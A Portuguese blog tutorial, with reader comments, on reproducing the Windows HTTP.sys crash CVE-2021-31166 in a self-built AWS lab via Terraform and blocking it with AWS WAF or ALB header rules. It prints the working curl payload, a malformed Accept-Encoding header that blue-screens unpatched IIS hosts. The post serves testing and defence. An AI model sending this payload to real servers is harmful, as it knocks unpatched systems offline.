Estou sem tempo, pode resumir?
Um novo CVE-2021-31166 pode forçar Kernel Crash (TELA AZUL) no Windows 10 e Server Core
Versões afetadas são as mais recentes 20H1 - Build 19041 e 20H2 - Build 19042 sem o devido Windows Update.
O bug pode afetar WinRM e IIS
Este artigo foi escrito para que você teste em SUA conta AWS, e possa simular o CVE.
A forma mais rápida de ficar tranquilo perante este assunto, é você ter controle sobre as versões do Windows 10 e Windows Server que você possui em sua infra. Como bem sabemos em grandes corporações não é simplesmente "Rodar Windows Update", os updates precisam ser testados e aprovados... e isto pode causar um delay na atualização.
Para reproduzir este problema em um ambiente controlado, você pode aplicar o terraform abaixo. Com este terraform será criado uma EC2 Windows Server Core 20H2 com updates até Abril-21, bem como um Load Balancer do tipo Application, uma vez que precisamos ter uma Proxy frente ao IIS para nos proteger.
Executando o Terraform
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
Reavendo valores do ALB DNS e IP da EC2
#Caso você esteja usando Windows, rode somente o comando dentro dos ()
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
Como o Windows leva mais tempo para terminar o bootstrap e instalar o IIS, pode demorar uns 2-3 minutes até que você possa efetuar o teste.
Testando Acesso pelo Loadbalancer e pela EC2
#Testando acesso apenas uma vez
curl -I $ALB
curl -I $EC2IP
#Testando acesso de forma continua ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testando acesso de forma continua EC2
while true; do curl -I $EC2IP --connect-timeout 1 ; done
Testando Acesso pelo curl e pelo navegador
Executando o payload para forçar o Crash
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
Acompanhando o acesso de forma continua[1] e executando o payload[2]
É possível perceber pela mudança do status 200 OK
para curl: (28) Connection timed out after
o qual demonstra que algo ocorreu do lado do IIS. Ao acessar a EC2 pelo SSM Session e rodando o comando powershell Get-EventLog -LogName System | Where-Object { $_.EventID -eq '6008' } que houve um desligamento inesperado do SO.
Forma de Proteção 1 - AWS WAF
Utilizando-se o AWS WAF + ALB é possível criar uma regra que realize um filtro baseado no Header Http, e faça o drop do pacote antes de alcançar o IIS. Você pode utilizar esta JSON Rule como base.
Verificando o resultado do mesmo comando do payload sendo filtrado pelo AWS WAF:
Forma de Proteção 2 - AWS ALB
Em alguns casos sua empresa não utiliza WAF, ou você não tem acesso a modificar regras. Utilizando-se o ALB ARR podemos criar uma regra baseada no Header:
Criando Regar no ALB:
Testando Payload com Regra no ALB(WAF removido):
Realizando Limpeza...
terraform destroy --auto-approve
Top comments (5)
Excelente artigo, Bruno! Simples, claro e objetivo, vai ajudar muita gente!
Sensacional! Forma simples de se proteger pra quem ainda não conseguiu aplicar update!
Agora ficou muito bom!
Ótimo artigo Bruno, qualidade de informação.
Muito bom, Bruno!